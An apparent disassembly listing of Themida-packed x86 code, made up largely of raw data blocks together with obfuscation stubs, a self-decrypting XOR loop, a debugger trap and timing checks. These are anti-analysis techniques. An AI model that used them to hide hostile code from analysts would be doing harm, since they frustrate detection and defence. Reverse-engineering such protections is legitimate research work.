		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 96FC351h, 0E319D9Dh, 0F3F0E906h
		dd 9D8BFFFFh, 60E18A1h,	13E9C18Bh, 20000000h, 7D2ECFECh
		dd 4F02A7A0h, 0A796A1B6h, 82AF4B68h, 858DBED5h,	60E19C1h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 5EC35040h
		dd 3B5F995h, 0E23D9BDh,	0B2E8BB06h, 0BD8B40A0h,	60E2385h
		dd 89DF8B50h, 9D292404h, 60E0DF9h, 6A006Ah, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 5E776AC3h
		dd 0BB4DFD8Bh, 438FDB81h, 6A7DB8h, 0F1852960h, 61060E1Dh
		dd 0CA2E858Dh, 6A0612h,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 6E2713C3h, 5C083FCh, 90DA8B66h
		dd 50C0BF60h, 0F3B22CCBh, 7E95061h, 82000000h, 29EF095Ah
		dd 6A90D91Fh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 0F2BC355h, 28Ah, 81D88A00h, 0C588EAC3h
		dd 6A006A42h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 9B7BC353h, 6AB3C4D3h, 95FFF900h
		dd 60E2FE1h, 4880Fh, 0BF660000h, 8D8DA8CCh, 611924Bh, 0CE9h
		dd 6610CE00h, 7E98C993h, 2F0F9912h, 0D1FFFC09h,	0CB5BD8Bh
		dd 0BD83060Eh, 60E0D79h, 77850F01h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 0AB4AC350h, 26A5F57h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 17h, 68C35040h, 8B1A8445h,	0E0AB9BDh, 1DBB9006h
		dd 504B7659h, 85BD8990h, 0FF060E27h, 0E1E4995h,	0DE86006h
		dd 0C8000000h, 6A0E37C9h, 56502D57h, 0CEE46CD9h, 58BDED80h
		dd 2DD08166h, 2E961FAh,	0E800000Eh, 0
		dd 38ED815Dh, 890612CAh, 0E2C9595h, 8D9D8906h, 8D060E15h
		dd 11840585h, 31BD8B06h, 50060E02h, 13B35250h, 8B66310Fh
		dd 89585AF9h, 6A2404h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 140424h, 50400000h, 0EE95EC3h, 0DF000000h, 5DB1E9FFh
		dd 0A43AD8EDh, 3207A235h, 35FF641Ch, 0
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_5960A3
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5960A3	proc near		; CODE XREF: Themida_:0059609Bp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ch
		inc	ebp
		push	ebp
		retn
sub_5960A3	endp

; ---------------------------------------------------------------------------
		db 1Ah
		dd 7244D3Ch, 9A1ADA94h,	258964h, 6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 5D14C355h
		dd 3C6A2592h, 51D72FBDh, 8317ADBBh, 85FF5F6Ch, 60E1475h
		dd 869BD8Bh, 0FF6A060Eh, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 1Bh, 40C35747h, 0DD1DD011h, 31B5172h, 0E1C959Dh
		dd 99B5FF06h, 6A060E30h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 0F89DC350h,	0A5E99B19h
		dd 0FFB10CE1h, 0E2F8195h, 189E906h, 0CE80000h, 78000000h
		dd 0D9024151h, 78BA7E70h, 0B0F760Ah, 0E070DBDh,	0BB665F06h
		dd 0B04EDEh, 0DE952h, 25E80000h, 10EE7208h, 0A2048746h
		dd 5F82BC40h, 70E6FD8Ah, 0F4DB8166h, 5671E4D4h,	16958531h
		dd 3C5B060Eh, 3C830F61h, 0E9000001h, 8,	940A6609h, 456B725Fh
		dd 8BC8B60Fh, 6BAFEh, 81660000h, 66C81DD3h, 0C18BDF8Bh
		dd 0C1F8B70Fh, 11E804E8h, 17000000h, 8D0F647h, 0F86DD4B7h
		dd 7F9187C9h, 0AA87FC9Ah, 0A81B589h, 665B060Eh,	0C82BE2F7h
		dd 2890Fh, 0DE8A0000h, 0F60D18Bh, 687h,	0C8C68100h, 0FC7C596Fh
		dd 0D5E961h, 800F0000h,	0Ch, 6890Fh, 0BD8B0000h, 60E251Dh
		dd 8858Bh, 8D310000h, 60E1B55h,	107C083h, 0E1FE58Dh, 0C08306h
		dd 30F99D89h, 9D8B060Eh, 60E0D19h, 830FD03Bh, 44h, 0DE8h
		dd 375C3000h, 0A186EDCBh, 13ED4646h, 0BD89C768h, 60E1D11h
		dd 0BE95Bh, 83040000h, 9C61F7BCh, 0A42B3AD9h, 69E984h
		dd 0B6600000h, 519503BAh, 61060E2Fh, 68C0Fh, 0BD030000h
		dd 60E02E5h, 0FFFF8D8Bh, 820FFFFFh, 3, 52DEB70Fh, 4850FEBBh
		dd 0E1835F65h, 34840F01h, 8B000000h, 0E0A65BDh,	0FFA58306h
		dd 0FEFFFFFFh, 13E8h, 0B072A200h, 0EF85B2F8h, 8131E475h
		dd 1205DE8Bh, 7A59F0Eh,	895895Bh, 80000000h, 0E9C9C3h
		dd 8D000000h, 1244EDB5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1B04h, 0C3534300h, 0F97900DDh, 0DD052BC1h
		dd 19C59D89h, 6A060Eh, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Bh, 0F7C35646h, 0E36D41A2h, 66D30559h, 95FFFE8Bh
		dd 60E0F45h, 9BB7BF66h,	0FBEB9h, 8D9D2900h, 8B060E02h
		dd 0FCE183DFh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ah,	0D4C35242h, 0ECE8D98Ah,	9D0B9DD7h, 60E331Dh, 56006AFCh
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 9D8B63E0h, 60E07E9h,	0B8h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 0D88B66EBh
		dd 6AD22Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 10BF38C3h, 85192A01h, 33ADA6B3h, 3E8D1C2h
		dd 4E983D0h, 6AF475h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 140424h, 51410000h, 0BD09BCC3h, 60E002Dh, 880Dh, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 899D8B0Fh, 8B060E0Eh, 0E2FC595h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 8B857FC2h
		dd 0E08818Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1904h, 0C3534300h, 0F057B7B1h, 8B503A7Eh, 3188BC2h
		dd 8B188BC1h, 3E8D1C1h,	58188BC2h, 0D18D29h, 0CB81060Eh
		dd 2E2B00C1h, 0C6DBD83h, 0F00060Eh, 5E84h, 0F9BD8B00h
		dd 89060E32h, 0E1539BDh, 0B806h, 0B5090000h, 60E0975h
		dd 4DD18D8Dh, 6A060Eh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 140424h, 57470000h, 0E1FFBCC3h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 19h, 0BFC35040h,	0E83FDE65h, 83DD8A02h
		dd 0E28D9BDh, 840F0006h, 414h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 15h, 4EC35646h, 858B60F1h, 60E32F9h
		dd 0B94AB866h, 0DA8B6661h, 1BA1B509h, 0BD83060Eh, 60E28D9h
		dd 0F0840F01h, 6A000003h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 0D2C5C355h,	7D9D8B04h
		dd 83060E08h, 0E28D9BDh, 860F0306h, 389h, 0CED6BB66h, 94CB8160h
		dd 6628E5B1h, 9589D98Ch, 60E1451h, 20918589h, 0E180060Eh
		dd 0FC90A04h, 18984h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1D04h, 0C3564600h, 28549ED1h, 0C9428097h
		dd 858B72A9h, 60E17F9h,	4707BB66h, 1D1D8533h, 6A060Eh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 211D0CC3h, 258B2661h, 90735949h, 251FE3BFh, 68B35073h
		dd 0DBB70F90h, 2D75B501h, 6A060Eh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 63C35141h, 341D7130h, 0AC9C53Dh
		dd 6E9h, 0EDBA5500h, 0E8F3213Fh, 4, 1F03FFh, 52506050h
		dd 310F5250h, 310F585Ah, 310F5250h, 585A585Ah, 48D0Fh
		dd 0B9660000h, 8B613D12h, 66042444h, 8BFA8Bh, 5B96660h
		dd 0BE665186h, 615805A6h, 4244489h, 0FC8A5250h,	5250310Fh
		dd 38CF8BFh, 50310F3Eh,	5A310F52h, 5A585A58h, 9D8B5858h
		dd 60E19E9h, 0ED595FFh,	6A060Eh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 150424h, 53430000h, 0F9CE8AC3h, 0A07B8589h
		dd 6A0611h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
		dd 52420000h, 6CFA22C3h, 0D826DCFFh, 80E619CDh,	89E919E7h
		dd 6A000001h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 264EC357h, 0E952BF6Ah,	0Dh, 0FFF415B2h
		dd 3A827294h, 17EDC206h, 858BF5DEh, 611A073h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 8CC35242h, 3AF40AC6h
		dd 7E8h, 417C7D00h, 0AF115987h,	22D5BD29h, 0C75B060Eh
		dd 1800h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1804h, 0C3554500h, 20E04872h, 77B58BDEh, 660611A0h
		dd 0CA7CF781h, 1435858Bh, 6E9060Eh, 24000000h, 14E392DBh
		dd 0C19D8B24h, 89060E1Ah, 6E906h, 39FA0000h, 8F680B3Ah
		dd 18A0Fh, 8BFC0000h, 0E17F985h, 10E806h, 2B160000h, 0D1AB17D0h
		dd 9D3384FCh, 0DB48D3DFh, 0B70FE5B6h, 46895FF9h, 11E904h
		dd 0B9E80000h, 1E4BE969h, 8E93BD98h, 30F667DCh,	5043CD8Ah
		dd 9E85160h, 0BC000000h, 952B7136h, 4CE56A84h, 8B665B5Eh
		dd 348961FBh, 0B5FFFC24h, 611A073h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 0BCC35242h,	5D68F63Eh, 0F8ADCFDh
		dd 28Eh, 81F88A00h, 6A22404h, 8B0F7542h, 0
; ---------------------------------------------------------------------------
		or	[ebp+60E1F55h],	edi
		lea	eax, [ebp+611A07Bh]
		mov	ebx, [ebp+60E1A71h]
		push	eax
		mov	[esp], eax
		pusha
		mov	esi, [ebp+60E1DA1h]
		adc	edx, 5869C5B0h
		popa
		call	dword ptr [ebp+60E0ED5h]
		add	[ebp+60E1D39h],	eax
		popa
		adc	bx, 6545h
		mov	dword ptr [ebp+60E28D9h], 3
		jmp	loc_5968B9
; ---------------------------------------------------------------------------
		db 0EBh, 0A2h, 2Dh
		dd 43F7DE2Dh, 106324A9h, 0F1DBAE5h
		db 0E3h
; ---------------------------------------------------------------------------


loc_5968B9:				; CODE XREF: Themida_:005968A4j
		cmp	dword ptr [ebp+611A07Bh], 0
		jz	loc_596919
		push	0
		push	edx
		call	sub_5968D1
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5968D1	proc near		; CODE XREF: Themida_:005968C9p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 14h
		inc	edx
		push	edx
		retn
sub_5968D1	endp

; ---------------------------------------------------------------------------
		db 0E4h, 53h, 8Ah
; ---------------------------------------------------------------------------
		fcomp	qword ptr [ebx+53h]
		xor	[ebp+60E0A65h],	eax
		pop	edi
		jmp	loc_596934
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_5968FE
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5968FE	proc near		; CODE XREF: Themida_:005968F6p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 18h
		inc	ebx
		push	ebx
		retn
sub_5968FE	endp

; ---------------------------------------------------------------------------
		inc	edi
		dec	edi
		movsd
		not	eax
		mov	edi, [ebp+60E1AEDh]


loc_596919:				; CODE XREF: Themida_:005968C0j
					; Themida_:00596930j
		push	eax
		xor	[ecx+edx], cl
		add	[ecx+edx+1], al
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], cl
		pop	eax
		sub	ecx, 4
		jnz	short loc_596919
		jmp	short loc_59696A
; ---------------------------------------------------------------------------


loc_596934:				; CODE XREF: Themida_:005968EEj
					; Themida_:0059694Bj
		push	eax
		xor	[ecx+edx], al
		add	[ecx+edx+1], ah
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], ah
		pop	eax
		sub	ecx, 4
		jnz	short loc_596934
		jmp	short loc_59696A
; ---------------------------------------------------------------------------


loc_59694F:				; CODE XREF: Themida_:00596966j
		push	eax
		shr	eax, 10h
		sub	[ecx+edx+3], ah
		xor	[ecx+edx+2], al
		pop	eax
		sub	[ecx+edx+1], ah
		xor	[ecx+edx], al
		sub	ecx, 4
		jnz	short loc_59694F
		jmp	short $+2


loc_59696A:				; CODE XREF: Themida_:00596932j
					; Themida_:0059694Dj
		mov	eax, eax
		mov	[ebp+60E243Dh],	ecx
		push	0
		push	eax
		call	sub_59697D
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59697D	proc near		; CODE XREF: Themida_:00596975p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ah
		inc	eax
		push	eax
		retn
sub_59697D	endp

; ---------------------------------------------------------------------------
		mov	word ptr [edx+7649B85Eh], ss
		int	3		; Trap to Debugger
		mov	[ebp+60E2F41h],	edi
		mov	di, si
		cmp	dword ptr [ebp+60E28D9h], 3
		jnz	loc_596DCB
		sub	[ebp+60E2C5Dh],	edi
		cmp	dword ptr [ebp+611A07Bh], 0
		jz	loc_596DCB
		mov	edi, [ebp+60E0A91h]
		push	dword ptr [ebp+611A07Bh]
		push	0
		push	edx
		call	sub_5969D4
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5969D4	proc near		; CODE XREF: Themida_:005969CCp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_5969D4	endp

; ---------------------------------------------------------------------------
		dd 0C7CDC629h, 62A347BAh, 7ABB668Dh, 0EB8166EEh, 95FFF6A1h
		dd 60E08D5h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Bh,	5BC35747h, 0DAEDEF2h, 9374E55h,	0E0A418Dh, 6FB58B06h
		dd 6A0611A0h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 14042444h, 46000000h, 0BFF8C356h, 4139BE60h,	1FB1BD8Bh
		dd 6C7060Eh, 10001h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 0F9C35747h, 445E838h,	43AD9E68h, 6696D88Bh
		dd 50E6CEBBh, 0E996FA8Ah, 0Ch, 0FCFD4895h, 0D4F35030h
		dd 26690C39h, 0A07BB5FFh, 1BB70611h, 101995FFh,	8D0F060Eh
		dd 0Ah,	4820Fh,	0BB660000h, 0B58BC3FBh,	611A06Fh, 8EEB8166h
		dd 0A9858B70h, 6A060E00h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 8B70C353h, 0C48689F9h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 356DC351h, 2CA65AF1h, 39B54323h
		dd 14E9h, 5F292F00h, 3347BB1h, 5910E73Fh, 0C53C2A4h, 0E7B61DEBh
		dd 0C5958B51h, 60060E2Fh, 0F5D8B560h, 0C3BF0F61h, 4C28361h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 0D1C35040h
		dd 2F2E9134h, 9589F5FEh, 60E0E75h, 6A205089h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 12FBC353h, 0BD8BA794h, 60E2569h, 47C2EB81h, 858D49CFh
		dd 611B41Ch, 2800Fh, 0FA8A0000h, 0B88689h, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 0E00DFBC3h, 0F622137Fh, 33219D8Bh, 8166060Eh, 6AFF8EE7h
		dd 59D8B00h, 0FF060E0Bh, 11A07BB5h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 95FFDAF7h
		dd 60E1E49h, 0E899D8Bh,	0F50060Eh, 1084h, 0BE900h, 158B0000h
		dd 1BE08953h, 8372A7D0h, 243489D2h, 93BB6660h, 658D2965h
		dd 61060E16h, 0A07BB5FFh, 95FF0611h, 60E16D1h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 93C35343h, 8B767772h
		dd 7BBF66F9h, 0D5BD83B5h, 60E30h, 3F840Fh, 8D890000h, 60E1F39h
		dd 8B525050h, 5A310FD9h, 24348958h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 16h, 0BFC35141h,	0AE998A4h, 0CD000000h
		dd 99A55154h, 0FE046378h, 7BB5FFB4h, 6A0611A0h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 0B962C356h, 6A0238C3h, 0B6600073h, 0E3D98194h, 6163FE71h
		dd 0B2DB531h, 95FF060Eh, 60E2981h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 16h, 13C35343h, 0B5FF963Bh, 611A07Bh
		dd 17880Fh, 0E9600000h,	0Ah, 0BF2E61D9h, 0CA07AA76h, 0BD89E2A1h
		dd 60E1751h, 0BD95FF61h, 6A060E1Ah, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 14042444h, 40000000h, 0E8D8C350h
		dd 13h,	5283F2DEh, 0D81CABB4h, 3BFC8E73h, 0EC230749h, 23AAA640h
		dd 0E1F39BDh, 0BD835F06h, 60E29D5h, 40840F02h, 8B000000h
		dd 0E07D185h, 118A0F06h, 0E8000000h, 5,	8EF69DE8h, 759D8B29h
		dd 5B060E0Dh, 24B58D09h, 0C6060Eh, 12E900h, 0F590000h
		dd 0EB35DFEFh, 0C0761524h, 16F73B12h, 0CCF4845Fh, 0C712EB80h
		dd 0E351585h, 6, 15B52900h
; ---------------------------------------------------------------------------
		or	[esi], cl
		push	es


loc_596DCB:				; CODE XREF: Themida_:005969A4j
					; Themida_:005969B7j
		jmp	near ptr dword_5960B4+46h
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_596DDB
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_596DDB	proc near		; CODE XREF: Themida_:00596DD3p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 19h
		inc	ecx
		push	ecx
		retn
sub_596DDB	endp

; ---------------------------------------------------------------------------
		sbb	byte ptr [edi],	0F8h
		jmp	short loc_596E49
; ---------------------------------------------------------------------------
		std
		jbe	loc_596E03
		jz	loc_596E03
		jz	$+6


loc_596E03:				; CODE XREF: Themida_:00596DF1j
					; Themida_:00596DF7j
		mov	bx, cx
		mov	eax, ecx
		push	0
		push	ecx
		call	sub_596E13
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_596E13	proc near		; CODE XREF: Themida_:00596E0Bp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 15h
		inc	ecx
		push	ecx
		retn
sub_596E13	endp

; ---------------------------------------------------------------------------
		db 6Dh
; ---------------------------------------------------------------------------
		dec	ebx
		xor	edi, [ebp+60E297Dh]
		sub	[ebp+60E08CDh],	edx
		lea	eax, [ebp+60E19C1h]
		mov	edi, [ebp+60E07B1h]
		nop
		mov	bl, ch
		push	eax
		mov	edi, 261AB7C5h
		nop
		push	0


loc_596E49:				; CODE XREF: Themida_:00596DEEj
		push	esi
		call	sub_596E52
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_596E52	proc near		; CODE XREF: Themida_:00596E4Ap

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ch
		inc	esi
		push	esi
		retn
sub_596E52	endp

; ---------------------------------------------------------------------------
		dw 5DE1h
		dd 75A081Dh, 0E80887BAh, 11h, 0DA7B2FD1h, 0D7D37CA7h, 0D2CA6EAAh
		dd 0B0877283h, 0CF8166A7h, 6A5FD783h, 0ED9D8B00h, 0F5060E1Ch
		dd 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
		dd 50400000h, 830FD8C3h, 3, 6616DF80h, 8DF3F9BFh, 12DAC885h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 0A0B4D133h, 58C38074h, 6A05C083h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 0AE99C356h, 0D1BB6650h, 24048953h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 17h, 40C35242h, 8B740481h, 0DF8B66FBh
		dd 0BD23006Ah, 60E1D25h, 1A398589h, 6A060Eh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 78C35343h, 0A72B5B7Ah
		dd 9D8B1B67h, 60E1419h,	95FF5F56h, 60E2FE1h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 5DC35343h, 69BD8BA7h
		dd 2B060E20h, 0E07F99Dh, 4B8D8D06h, 6A061192h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 3E2AC351h, 0FFEB0854h, 55006AD1h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 5E827h, 0A32D0000h
		dd 8BDD8F00h, 0E1C759Dh, 6E95B06h, 46000000h, 3BAD4606h
		dd 79BD83B8h, 1060E0Dh,	0BE850Fh, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 1B72AFC3h
		dd 2BF0885Ah, 0E144D9Dh, 6A026A06h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 0A3D9C357h
		dd 5C7ADB0Ch, 11E925E1h, 0F4000000h, 41DAC5B4h,	0A0D377F5h
		dd 7E39C65Dh, 6EC042C1h, 8A0F5760h, 0
; ---------------------------------------------------------------------------
		pop	ebx
		adc	ax, 53A6h
		popa
		nop
		push	eax
		jmp	loc_597089
; ---------------------------------------------------------------------------
		dw 1117h
		dd 3F4A8BFDh, 0D62118A4h
		db 0Fh
; ---------------------------------------------------------------------------


loc_597089:				; CODE XREF: Themida_:00597079j
		nop
		push	0
		push	eax
		call	sub_597095
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_597095	proc near		; CODE XREF: Themida_:0059708Dp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 18h
		inc	eax
		push	eax
		retn
sub_597095	endp

; ---------------------------------------------------------------------------
		db 52h,	6Dh, 0B6h
		dd 8A0FF537h, 6, 24299D33h, 95FF060Eh, 60E1E49h, 0FEBF0F60h
		dd 61D78B66h, 0E30E9h, 0E800h, 815D0000h, 12DAD2EDh, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 0E9F5872Dh, 0Eh, 659CEDD9h, 7ACC519Dh, 0AF49A07h, 0BD8BA3AAh
		dd 60E33B9h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 17h,	9CC35242h, 8D5CEB0Dh, 11840585h, 56006A06h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h
		dd 0ADA95A22h, 6EA19E14h, 0D98B6690h, 0BF665350h, 905FA91Dh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 5C35040h
		dd 14336D91h, 680EA5B4h, 8D8960F8h, 60E29D9h, 0F1BD8B61h
		dd 64060E31h, 35FFh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 140424h, 52420000h, 7E929C3h, 8000000h, 0F8CDB179h
		dd 896413A9h, 25h, 0FFF88B00h, 0E147585h, 50006A06h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h
		dd 88CD4102h, 0C0805360h, 8B665816h, 0BD8B61F8h, 60E03A9h
		dd 6AFF6Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
		dd 57470000h, 0FFF9DEC3h, 0E0079B5h, 98CF8006h,	2F8195FFh
		dd 0E6E9060Eh, 89000000h, 0E23E18Dh, 3300B006h,	0E30499Dh
		dd 8070E606h, 71E4D9C7h, 830F613Ch, 0C9h, 0D34DDF81h, 0B60F5008h
		dd 219D8BC8h, 0F8060E2Eh, 6BAh,	6860F00h, 89000000h, 0E15598Dh
		dd 81C18B06h, 32D3A4D3h, 4E8C13Bh, 14299D2Bh, 0BE8060Eh
		dd 0F8000000h, 0D83EC648h, 58A0A8F5h, 5BFCDD04h, 81E2F766h
		dd 8CE64BEFh, 8BC82B5Bh, 0F317BFD1h, 6EE906B0h,	66000000h
		dd 858BDF8Bh, 1, 30B98D89h, 0C083060Eh,	0C08307h, 208D9D29h
		dd 0D03B060Eh, 12830Fh,	46E90000h, 0E9000000h, 8, 8DDC7CE2h
		dd 4EC0625Ch, 0FFFF8D8Bh, 8B66FFFFh, 1E183FBh, 27840Fh
		dd 0B70F0000h, 0FFA583DAh, 0FEFFFFFFh, 1BAD8D89h, 9589060Eh
		dd 1, 6890Fh, 95010000h, 60E23E1h, 0E9h, 0ABB58D00h, 6A061254h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 2BDAC352h, 0E30D9BDh, 89006A06h, 0E20958Dh
		dd 1605006h, 0E04C585h,	840F06h, 61000000h, 4595FF5Bh
		dd 6A060E0Fh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 1214C356h, 28957727h, 0FFEB9h
		dd 68E0F00h, 8B000000h,	0E06F19Dh, 0FCE18306h, 0CE9h, 1894DD00h
		dd 0D6D36D31h, 5FA69FB9h, 0A4F78094h, 51006AFCh, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h
		dd 0B85260h, 89000000h,	0E207D8Dh, 0BA06h, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 0FD6E27C3h, 898658B2h, 0E220995h, 0C233AD06h, 0D003E8D1h
		dd 7504E983h, 55006AF4h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1D04h, 0C3554500h, 6F8FA2EDh, 501D756Eh, 0F88A7426h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0FAC35646h
		dd 41958951h, 1060E21h,	0E1B7595h, 880D06h, 958B0000h
		dd 60E2FC5h, 818D8BF5h,	6A060E08h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 6E5EC351h
		dd 0FC558B76h, 89216F28h, 0E2DEDBDh, 0D7816606h, 8B50589Eh
		dd 3188BC2h, 8B188BC1h,	3E8D1C1h, 58188BC2h, 0FDFB70Fh
		dd 0BD83DFB7h, 60E0C6Dh, 0B6840F00h, 6A000000h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 9EC0C352h, 0B34FB6B5h, 0F0F78032h, 0B8h, 0FE900h, 7F940000h
		dd 61AC4BA7h, 0CB99964Bh, 0E38D8DBFh, 0F1958939h, 8D060E0Dh
		dd 0E4DD18Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1C04h, 0C3554500h, 0F334AB4Ch, 0DA9E1FF8h, 0E081606Ch
		dd 1344FE90h, 10E861h, 43870000h, 0F2905139h, 6B628975h
		dd 0D6A5C55h, 7BFE9D9h,	5B1A2DF7h, 6AE1FFh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 4BDE59C3h
		dd 0CBA69315h, 0D9BD83F5h, 60E28h, 46D840Fh, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
